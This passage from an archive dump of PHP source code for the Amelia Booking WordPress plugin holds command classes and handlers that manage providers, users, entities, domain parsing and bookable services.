$futureAppointmentsServicesIds, ] ); return $result; } } Commands/User/Provider/GetProvidersCommandHandler.php 0000666 00000006637 15165412624 0016766 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\User\Provider; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\User\ProviderApplicationService; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Collection\AbstractCollection; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\User\ProviderRepository; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class GetProvidersCommandHandler * * @package AmeliaBooking\Application\Commands\User\Provider */ class GetProvidersCommandHandler extends CommandHandler { /** * @param GetProvidersCommand $command * * @return CommandResult * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws ContainerException * @throws AccessDeniedException * @throws InvalidArgumentException */ public function handle(GetProvidersCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanRead(Entities::EMPLOYEES)) { throw new AccessDeniedException('You are not allowed to read employees.'); } $result = new CommandResult(); /** @var ProviderRepository $providerRepository */ $providerRepository = $this->container->get('domain.users.providers.repository'); /** @var ProviderApplicationService $providerService */ $providerService = $this->container->get('application.user.provider.service'); /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); $itemsPerPage = $settingsService->getSetting('general', 'itemsPerPage'); $companyDaysOff = $settingsService->getCategorySettings('daysOff'); $params = $command->getField('params'); if (!$this->getContainer()->getPermissionsService()->currentUserCanReadOthers(Entities::EMPLOYEES)) { /** @var AbstractUser $currentUser */ $currentUser = $this->container->get('logged.in.user'); $params['providers'][] = $currentUser->getId()->getValue(); } $providers = $providerRepository->getFiltered($params, $itemsPerPage); if (!$providers instanceof AbstractCollection) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not get users'); return $result; } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully retrieved users.'); $providers = $providers->toArray(); $companyDayOff = $providerService->checkIfTodayIsCompanyDayOff($companyDaysOff); $providers = $providerService->manageProvidersActivity($providers, $companyDayOff); $result->setData([ Entities::USERS => $providers, 'countFiltered' => (int)$providerRepository->getCount($command->getField('params')), 'countTotal' => (int)$providerRepository->getCount([]), ]); return $result; } } Commands/User/Provider/GetProviderCommand.php 0000666 00000001013 15165412624 0015264 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\User\Provider; use AmeliaBooking\Application\Commands\Command; /** * Class GetProviderCommand * * @package AmeliaBooking\Application\Commands\User\Provider */ class GetProviderCommand extends Command { /** * GetProviderCommand constructor. * * @param $args */ public function __construct($args) { parent::__construct($args); if (isset($args['id'])) { $this->setField('id', $args['id']); } } } Commands/User/Provider/AddProviderCommandHandler.php 0000666 00000004251 15165412624 0016542 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\User\Provider; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\User\ProviderApplicationService; use AmeliaBooking\Application\Services\User\UserApplicationService; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Entity\User\Provider; use AmeliaBooking\Domain\Factory\User\UserFactory; use AmeliaBooking\Domain\ValueObjects\Number\Integer\Id; use AmeliaBooking\Domain\ValueObjects\String\Password; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\User\ProviderRepository; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class AddProviderCommandHandler * * @package AmeliaBooking\Application\Commands\User\Provider */ class AddProviderCommandHandler extends CommandHandler { public $mandatoryFields = [ 'type', 'firstName', 'lastName', 'email' ]; /** * @param AddProviderCommand $command * * @return CommandResult * @throws ContainerValueNotFoundException * @throws AccessDeniedException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws ContainerException */ public function handle(AddProviderCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanWrite(Entities::EMPLOYEES) || !$this->getContainer()->getPermissionsService()->currentUserCanWriteOthers(Entities::EMPLOYEES)) { throw new AccessDeniedException('You are not allowed to add employee.'); } /** @var ProviderApplicationService $providerAS */ $providerAS = $this->container->get('application.user.provider.service'); $this->checkMandatoryFields($command); return $providerAS->createProvider($command->getFields()); } } Commands/User/Provider/AddProviderCommand.php 0000666 00000001022 15165412624 0015235 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\User\Provider; use AmeliaBooking\Application\Commands\Command; /** * Class AddProviderCommand * * @package AmeliaBooking\Application\Commands\User\Provider */ class AddProviderCommand extends Command { /** * AddProviderCommand constructor. * * @param $args */ public function __construct($args) { parent::__construct($args); if (isset($args['type'])) { $this->setField('type', $args['type']); } } } Commands/User/Provider/UpdateProviderStatusCommandHandler.php 0000666 00000003725 15165412624 0020505 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\User\Provider; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\User\ProviderRepository; /** * Class UpdateProviderStatusCommandHandler * * @package AmeliaBooking\Application\Common */ class UpdateProviderStatusCommandHandler extends CommandHandler { /** * @var array */ public $mandatoryFields = [ 'status', ]; /** * @param UpdateProviderStatusCommand $command * * @return CommandResult * @throws \Slim\Exception\ContainerException * @throws \InvalidArgumentException * @throws \Slim\Exception\ContainerValueNotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException * @throws AccessDeniedException * @throws \Interop\Container\Exception\ContainerException */ public function handle(UpdateProviderStatusCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanWrite(Entities::EMPLOYEES)) { throw new AccessDeniedException('You are not allowed to update employee.'); } $result = new CommandResult(); $this->checkMandatoryFields($command); /** @var ProviderRepository $providerRepository */ $providerRepository = $this->container->get('domain.users.providers.repository'); $providerRepository->updateFieldById($command->getArg('id'), $command->getField('status'), 'status'); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully updated user'); $result->setData(true); return $result; } } Commands/User/Provider/UpdateProviderCommand.php 0000666 00000000671 15165412624 0016000 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\User\Provider; use AmeliaBooking\Application\Commands\Command; /** * Class UpdateProviderCommand * * @package AmeliaBooking\Application\Commands\User\Provider */ class UpdateProviderCommand extends Command { /** * UpdateProviderCommand constructor. * * @param $args */ public function __construct($args) { parent::__construct($args); } } Commands/User/GetCurrentUserCommand.php 0000666 00000000373 15165412624 0014171 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\User; use AmeliaBooking\Application\Commands\Command; /** * Class GetCurrentUserCommand * * @package AmeliaBooking\Application\Commands\User */ class GetCurrentUserCommand extends Command { } Commands/User/GetUserDeleteEffectCommand.php 0000666 00000000405 15165412624 0015062 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\User; use AmeliaBooking\Application\Commands\Command; /** * Class GetUserDeleteEffectCommand * * @package AmeliaBooking\Application\Commands\User */ class GetUserDeleteEffectCommand extends Command { } Commands/Entities/GetEntitiesCommand.php 0000666 00000000375 15165412624 0014344 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Entities; use AmeliaBooking\Application\Commands\Command; /** * Class GetEntitiesCommand * * @package AmeliaBooking\Application\Commands\Entities */ class GetEntitiesCommand extends Command { } Commands/Entities/GetEntitiesCommandHandler.php 0000666 00000044472 15165412624 0015650 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Entities; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\Bookable\BookableApplicationService; use AmeliaBooking\Application\Services\Bookable\PackageApplicationService; use AmeliaBooking\Application\Services\Helper\HelperService; use AmeliaBooking\Application\Services\User\ProviderApplicationService; use AmeliaBooking\Application\Services\User\UserApplicationService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\AuthorizationException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Booking\Event\Event; use AmeliaBooking\Domain\Entity\Coupon\Coupon; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Entity\User\Customer; use AmeliaBooking\Domain\Entity\User\Provider; use AmeliaBooking\Domain\Services\Booking\EventDomainService; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\Services\User\ProviderService; use AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\CategoryRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\PackageRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\ResourceRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\ServiceRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\AppointmentRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Event\EventRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Event\EventTagsRepository; use AmeliaBooking\Infrastructure\Repository\Coupon\CouponRepository; use AmeliaBooking\Infrastructure\Repository\CustomField\CustomFieldRepository; use AmeliaBooking\Infrastructure\Repository\Location\LocationRepository; use AmeliaBooking\Infrastructure\Repository\User\ProviderRepository; use AmeliaBooking\Infrastructure\Repository\User\UserRepository; use AmeliaBooking\Infrastructure\Services\LessonSpace\LessonSpaceService; use Interop\Container\Exception\ContainerException; /** * Class GetEntitiesCommandHandler * * @package AmeliaBooking\Application\Commands\Entities */ class GetEntitiesCommandHandler extends CommandHandler { /** * @param GetEntitiesCommand $command * * @return CommandResult * @throws AccessDeniedException * @throws ContainerException * @throws InvalidArgumentException * @throws NotFoundException * @throws QueryExecutionException */ public function handle(GetEntitiesCommand $command) { /** @var UserApplicationService $userAS */ $userAS = $this->container->get('application.user.service'); /** @var EventDomainService $eventDS */ $eventDS = $this->container->get('domain.booking.event.service'); /** @var ProviderApplicationService $providerAS */ $providerAS = $this->container->get('application.user.provider.service'); /** @var ProviderService $providerService */ $providerService = $this->container->get('domain.user.provider.service'); try { /** @var AbstractUser $currentUser */ $currentUser = $userAS->authorization( $command->getPage() === 'cabinet' ? $command->getToken() : null, $command->getCabinetType() ); } catch (AuthorizationException $e) { $currentUser = null; } $params = $command->getField('params'); $result = new CommandResult(); $this->checkMandatoryFields($command); /** @var Collection $services */ $services = new Collection(); /** @var Collection $locations */ $locations = new Collection(); /** @var Collection $categories */ $categories = new Collection(); /** @var Collection $events */ $events = new Collection(); $resultData = [ 'packages' => [], 'locations' => [], 'customFields' => [], 'tags' => [], 'employees' => [] ]; if (!isset($params['types'])) { $params['types'] = []; } /** Events */ if (in_array(Entities::EVENTS, $params['types'], true)) { /** @var EventRepository $eventRepository */ $eventRepository = $this->container->get('domain.booking.event.repository'); $dateFilter = ['dates' => [DateTimeService::getNowDateTime()]]; /** @var Collection $events */ $events = $eventRepository->getFiltered($dateFilter); /** @var Event $event */ foreach ($events->getItems() as $event) { $event->setBookings(new Collection()); } $resultData['events'] = $events->toArray(); $resultData['events'] = $eventDS->getShortcodeForEventList($this->container, $resultData['events']); } /** Event Tags */ if (in_array(Entities::TAGS, $params['types'], true)) { /** @var EventTagsRepository $eventTagsRepository */ $eventTagsRepository = $this->container->get('domain.booking.event.tag.repository'); /** @var Collection $eventsTags */ $eventsTags = $eventTagsRepository->getAllDistinctByCriteria( $events->length() ? ['eventIds' => array_column($events->toArray(), 'id')] : [] ); $resultData['tags'] = $eventsTags->toArray(); } if (in_array(Entities::LOCATIONS, $params['types'], true) || in_array(Entities::EMPLOYEES, $params['types'], true) ) { /** @var LocationRepository $locationRepository */ $locationRepository = $this->getContainer()->get('domain.locations.repository'); /** @var Collection $locations */ $locations = $locationRepository->getAllOrderedByName(); } /** Locations */ if (in_array(Entities::LOCATIONS, $params['types'], true)) { $resultData['locations'] = $locations->toArray(); } if (in_array(Entities::CATEGORIES, $params['types'], true) || in_array(Entities::EMPLOYEES, $params['types'], true) || in_array(Entities::COUPONS, $params['types'], true) ) { /** @var ServiceRepository $serviceRepository */ $serviceRepository = $this->container->get('domain.bookable.service.repository'); /** @var CategoryRepository $categoryRepository */ $categoryRepository = $this->container->get('domain.bookable.category.repository'); /** @var BookableApplicationService $bookableAS */ $bookableAS = $this->container->get('application.bookable.service'); /** @var Collection $services */ $services = $serviceRepository->getAllArrayIndexedById(); /** @var Collection $categories */ $categories = $categoryRepository->getAllIndexedById(); $bookableAS->addServicesToCategories($categories, $services); } /** Categories */ if (in_array(Entities::CATEGORIES, $params['types'], true)) { $resultData['categories'] = $categories->toArray(); } $resultData['customers'] = []; /** Customers */ if (in_array(Entities::CUSTOMERS, $params['types'], true)) { /** @var UserRepository $userRepo */ $userRepo = $this->getContainer()->get('domain.users.repository'); $resultData['customers'] = []; if ($currentUser) { switch ($currentUser->getType()) { case (AbstractUser::USER_ROLE_CUSTOMER): if ($currentUser->getId()) { /** @var Customer $customer */ $customer = $userRepo->getById($currentUser->getId()->getValue()); $resultData['customers'] = [$customer->toArray()]; } break; case (AbstractUser::USER_ROLE_PROVIDER): $resultData['customers'] = $providerAS->getAllowedCustomers($currentUser)->toArray(); break; default: /** @var Collection $customers */ $customers = $userRepo->getAllWithAllowedBooking(); $resultData['customers'] = $customers->toArray(); } } } /** Providers */ if (in_array(Entities::EMPLOYEES, $params['types'], true)) { /** @var ProviderRepository $providerRepository */ $providerRepository = $this->container->get('domain.users.providers.repository'); /** @var Collection $testProviders */ $providers = $providerRepository->getWithSchedule([]); /** @var Provider $provider */ foreach ($providers->getItems() as $provider) { $providerService->setProviderServices($provider, $services, true); } if (array_key_exists('page', $params) && in_array($params['page'], [Entities::CALENDAR, Entities::APPOINTMENTS]) && $userAS->isAdminAndAllowedToBookAtAnyTime() ) { $providerService->setProvidersAlwaysAvailable($providers); } $resultData['entitiesRelations'] = []; /** @var Provider $provider */ foreach ($providers->getItems() as $providerId => $provider) { if ($data = $providerAS->getProviderServiceLocations($provider, $locations, $services)) { $resultData['entitiesRelations'][$providerId] = $data; } } $resultData['employees'] = $providerAS->removeAllExceptUser( $providers->toArray(), (array_key_exists('page', $params) && $params['page'] === Entities::BOOKING) ? null : $currentUser ); if ($currentUser === null || $currentUser->getType() === AbstractUser::USER_ROLE_CUSTOMER) { foreach ($resultData['employees'] as &$employee) { unset( $employee['birthday'], $employee['email'], $employee['externalId'], $employee['phone'], $employee['note'] ); if (isset($params['page']) && $params['page'] !== Entities::CALENDAR) { unset( $employee['weekDayList'], $employee['specialDayList'], $employee['dayOffList'] ); } } } } $resultData[Entities::APPOINTMENTS] = [ 'futureAppointments' => [], ]; if (in_array(Entities::APPOINTMENTS, $params['types'], true)) { $userParams = [ 'dates' => [null, null] ]; if (!$this->getContainer()->getPermissionsService()->currentUserCanReadOthers(Entities::APPOINTMENTS)) { if ($currentUser->getId() === null) { $userParams[$currentUser->getType() . 'Id'] = 0; } else { $userParams[$currentUser->getType() . 'Id'] = $currentUser->getId()->getValue(); } } /** @var AppointmentRepository $appointmentRepo */ $appointmentRepo = $this->container->get('domain.booking.appointment.repository'); /** @var Collection $appointments */ $appointments = $appointmentRepo->getFiltered($userParams); $resultData[Entities::APPOINTMENTS] = [ 'futureAppointments' => $appointments->toArray(), ]; } /** Custom Fields */ if (in_array(Entities::CUSTOM_FIELDS, $params['types'], true) || in_array('customFields', $params['types'], true) ) { /** @var CustomFieldRepository $customFieldRepository */ $customFieldRepository = $this->container->get('domain.customField.repository'); /** @var Collection $customFields */ $customFields = $customFieldRepository->getAll(); $resultData['customFields'] = $customFields->toArray(); } /** Coupons */ if (in_array(Entities::COUPONS, $params['types'], true) && $this->getContainer()->getPermissionsService()->currentUserCanRead(Entities::COUPONS) ) { /** @var CouponRepository $couponRepository */ $couponRepository = $this->container->get('domain.coupon.repository'); /** @var Collection $coupons */ $coupons = $couponRepository->getAllIndexedById(); /** @var CouponRepository $couponRepository */ $couponRepository = $this->container->get('domain.coupon.repository'); /** @var EventRepository $eventRepository */ $eventRepository = $this->container->get('domain.booking.event.repository'); /** @var PackageRepository $packageRepository */ $packageRepository = $this->container->get('domain.bookable.package.repository'); foreach ($couponRepository->getCouponsServicesIds($coupons->keys()) as $ids) { /** @var Coupon $coupon */ $coupon = $coupons->getItem($ids['couponId']); $coupon->getServiceList()->addItem( $services->getItem($ids['serviceId']), $ids['serviceId'] ); } /** @var Collection $allEvents */ $allEvents = $eventRepository->getAllIndexedById(); foreach ($couponRepository->getCouponsEventsIds($coupons->keys()) as $ids) { /** @var Coupon $coupon */ $coupon = $coupons->getItem($ids['couponId']); $coupon->getEventList()->addItem( $allEvents->getItem($ids['eventId']), $ids['eventId'] ); } /** @var Collection $allPackages */ $allPackages = $packageRepository->getAllIndexedById(); foreach ($couponRepository->getCouponsPackagesIds($coupons->keys()) as $ids) { /** @var Coupon $coupon */ $coupon = $coupons->getItem($ids['couponId']); $coupon->getPackageList()->addItem( $allPackages->getItem($ids['packageId']), $ids['packageId'] ); } $resultData['coupons'] = $coupons->toArray(); } /** @var SettingsService $settingsDS */ $settingsDS = $this->container->get('domain.settings.service'); /** Settings */ if (in_array(Entities::SETTINGS, $params['types'], true)) { /** @var HelperService $helperService */ $helperService = $this->container->get('application.helper.service'); $languages = $helperService->getLanguages(); usort( $languages, function ($x, $y) { return strcasecmp($x['name'], $y['name']); } ); $languagesSorted = []; foreach ($languages as $language) { $languagesSorted[$language['wp_locale']] = $language; } /** @var \AmeliaBooking\Application\Services\Settings\SettingsService $settingsAS*/ $settingsAS = $this->container->get('application.settings.service'); $daysOff = $settingsAS->getDaysOff(); $resultData['settings'] = [ 'general' => [ 'usedLanguages' => $settingsDS->getSetting('general', 'usedLanguages'), ], 'languages' => $languagesSorted, 'daysOff' => $daysOff, ]; } /** Packages */ if (in_array(Entities::PACKAGES, $params['types'], true)) { /** @var PackageApplicationService $packageApplicationService */ $packageApplicationService = $this->container->get('application.bookable.package'); $resultData['packages'] = $packageApplicationService->getPackagesArray(); } /** Resources */ if (in_array(Entities::RESOURCES, $params['types'], true)) { /** @var ResourceRepository $resourceRepository */ $resourceRepository = $this->getContainer()->get('domain.bookable.resource.repository'); /** @var Collection $resources */ $resources = $resourceRepository->getByCriteria([]); $resultData['resources'] = []; } /** Lesson Spaces */ if (in_array('lessonSpace_spaces', $params['types'], true)) { $lessonSpaceApiKey = $settingsDS->getSetting('lessonSpace', 'apiKey'); $lessonSpaceEnabled = $settingsDS->getSetting('lessonSpace', 'enabled'); $lessonSpaceCompanyId = $settingsDS->getSetting('lessonSpace', 'companyId'); if ($lessonSpaceEnabled && $lessonSpaceApiKey) { /** @var LessonSpaceService $lessonSpaceService */ $lessonSpaceService = $this->container->get('infrastructure.lesson.space.service'); if (empty($lessonSpaceCompanyId)) { $companyDetails = $lessonSpaceService->getCompanyId($lessonSpaceApiKey); $lessonSpaceCompanyId = !empty($companyDetails) && $companyDetails['id'] ? $companyDetails['id'] : null; } $resultData['spaces'] = $lessonSpaceService->getAllSpaces( $lessonSpaceApiKey, $lessonSpaceCompanyId, !empty($params['lessonSpaceSearch']) ? $params['lessonSpaceSearch'] : null ); } } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully retrieved entities'); $result->setData($resultData); return $result; } } Commands/Activation/ParseDomainCommandHandler.php 0000666 00000002274 15165412624 0016135 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Activation; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Infrastructure\WP\InstallActions\AutoUpdateHook; /** * Class ParseDomainCommandHandler * * @package AmeliaBooking\Application\Commands\Activation */ class ParseDomainCommandHandler extends CommandHandler { /** * @param ParseDomainCommand $command * * @return CommandResult */ public function handle(ParseDomainCommand $command) { $result = new CommandResult(); $fields = $command->getFields(); $domain = AutoUpdateHook::getDomain($fields['domain']); $subdomain = AutoUpdateHook::getSubDomain($fields['subdomain']); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully parsed domain'); $result->setData([ 'domain' => $domain, 'subdomain' => $subdomain ]); return $result; } } Commands/Activation/ParseDomainCommand.php 0000666 00000000556 15165412624 0014640 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Activation; use AmeliaBooking\Application\Commands\Command; /** * Class ParseDomainCommand * * @package AmeliaBooking\Application\Commands\Activation */ class ParseDomainCommand extends Command { } Commands/Bookable/Service/UpdateServiceCommandHandler.php 0000666 00000013333 15165412624 0017511 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Bookable\Service; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\Bookable\BookableApplicationService; use AmeliaBooking\Application\Services\Gallery\GalleryApplicationService; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Bookable\Service\Category; use AmeliaBooking\Domain\Entity\Bookable\Service\Service; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Factory\Bookable\Service\ServiceFactory; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\Json; use AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\CategoryRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\ProviderServiceRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\ServiceRepository; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class UpdateServiceCommandHandler * * @package AmeliaBooking\Application\Commands\Bookable\Service */ class UpdateServiceCommandHandler extends CommandHandler { /** @var array */ public $mandatoryFields = [ 'categoryId', 'duration', 'maxCapacity', 'minCapacity', 'name', 'price', 'applyGlobally', 'providers' ]; /** * @param UpdateServiceCommand $command * * @return CommandResult * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws AccessDeniedException * @throws ContainerException * @throws NotFoundException */ public function handle(UpdateServiceCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanWrite(Entities::SERVICES)) { throw new AccessDeniedException('You are not allowed to update service.'); } $result = new CommandResult(); $this->checkMandatoryFields($command); /** @var Service $service */ $service = ServiceFactory::create($command->getFields()); /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); if ($service->getSettings()) { $newSettings = new Json( json_encode( array_merge( json_decode($service->getSettings()->getValue(), true), ['activation' => ['version' => $settingsService->getSetting('activation', 'version')]] ) ) ); if ($newSettings) { $service->setSettings($newSettings); } } if (!($service instanceof Service)) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Unable to update service.'); return $result; } /** @var ServiceRepository $serviceRepository */ $serviceRepository = $this->container->get('domain.bookable.service.repository'); /** @var ProviderServiceRepository $providerServiceRepository */ $providerServiceRepository = $this->container->get('domain.bookable.service.providerService.repository'); /** @var CategoryRepository $categoryRepository */ $categoryRepository = $this->container->get('domain.bookable.category.repository'); /** @var Category $category */ $category = $categoryRepository->getById($service->getCategoryId()->getValue()); /** @var BookableApplicationService $bookableService */ $bookableService = $this->container->get('application.bookable.service'); /** @var GalleryApplicationService $galleryService */ $galleryService = $this->container->get('application.gallery.service'); $serviceRepository->beginTransaction(); if ($command->getField('applyGlobally') && !$providerServiceRepository->updateServiceForAllProviders($service, $command->getArg('id'))) { $serviceRepository->rollback(); $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Unable to update service.'); return $result; } if (!$category || !$serviceRepository->update($command->getArg('id'), $service)) { $serviceRepository->rollback(); $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Unable to update service.'); return $result; } $bookableService->manageProvidersForServiceUpdate( $service, $command->getField('providers'), !$command->getField('applyGlobally') ); $bookableService->manageExtrasForServiceUpdate($service); $bookableService->managePackagesForServiceUpdate($service); $galleryService->manageGalleryForEntityUpdate( $service->getGallery(), $command->getArg('id'), Entities::SERVICE ); $serviceRepository->commit(); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully updated service.'); $result->setData( [ Entities::SERVICE => $service->toArray(), ] ); return $result; } } Commands/Bookable/Service/GetServiceCommandHandler.php 0000666 00000005706 15165412624 0017013 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Bookable\Service; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Bookable\Service\Service; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\Json; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\ServiceRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\AppointmentRepository; use Slim\Exception\ContainerValueNotFoundException; /** * Class GetServiceCommandHandler * * @package AmeliaBooking\Application\Commands\Bookable\Service */ class GetServiceCommandHandler extends CommandHandler { /** * @param GetServiceCommand $command * * @return CommandResult * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException */ public function handle(GetServiceCommand $command) { $result = new CommandResult(); /** @var ServiceRepository $serviceRepository */ $serviceRepository = $this->container->get('domain.bookable.service.repository'); /** @var AppointmentRepository $appointmentRepository */ $appointmentRepository = $this->container->get('domain.booking.appointment.repository'); /** @var Service $service */ $service = $serviceRepository->getByCriteria( ['services' => [$command->getArg('id')]] )->getItem($command->getArg('id')); // fix for wrongly saved JSON if ($service->getSettings() && json_decode($service->getSettings()->getValue(), true) === null ) { $service->setSettings(null); } if ($service->getSettings()) { /** @var SettingsService $settingsDS */ $settingsDS = $this->container->get('domain.settings.service'); $service->setSettings(new Json(json_encode($settingsDS->getSavedSettings($service->getSettings())))); } $futureAppointmentsProvidersIds = $appointmentRepository->getFutureAppointmentsProvidersIds( [$service->getId()->getValue()], DateTimeService::getNowDateTime(), null ); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully retrieved service.'); $result->setData( [ Entities::SERVICE => $service->toArray(), 'futureAppointmentsProvidersIds' => $futureAppointmentsProvidersIds, ] ); return $result; } } Commands/Bookable/Service/UpdateServicesPositionsCommandHandler.php 0000666 00000006753 15165412624 0021614 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Bookable\Service; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\ServiceRepository; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class UpdateServicesPositionsCommandHandler * * @package AmeliaBooking\Application\Commands\Bookable\Category */ class UpdateServicesPositionsCommandHandler extends CommandHandler { /** * @param UpdateServicesPositionsCommand $command * * @return CommandResult * @throws ContainerValueNotFoundException * @throws AccessDeniedException * @throws QueryExecutionException * @throws ContainerException * @throws InvalidArgumentException */ public function handle(UpdateServicesPositionsCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanWrite(Entities::SERVICES)) { throw new AccessDeniedException('You are not allowed to update bookable services positions.'); } $result = new CommandResult(); /** @var ServiceRepository $serviceRepository */ $serviceRepository = $this->container->get('domain.bookable.service.repository'); /** @var Collection $services */ $services = $serviceRepository->getFiltered(['sort' => $command->getFields()['sorting']]); $servicesArray = $services->toArray(); if ($command->getFields()['sorting'] === 'custom' && $customSortedServicesArray = $command->getFields()['services'] ) { $customSortedServicesIds = array_column($customSortedServicesArray, 'id'); $sortedServicesArray = []; foreach ($servicesArray as $serviceArray) { if (in_array($serviceArray['id'], $customSortedServicesIds, false)) { $sortedServicesArray[] = null; } else { 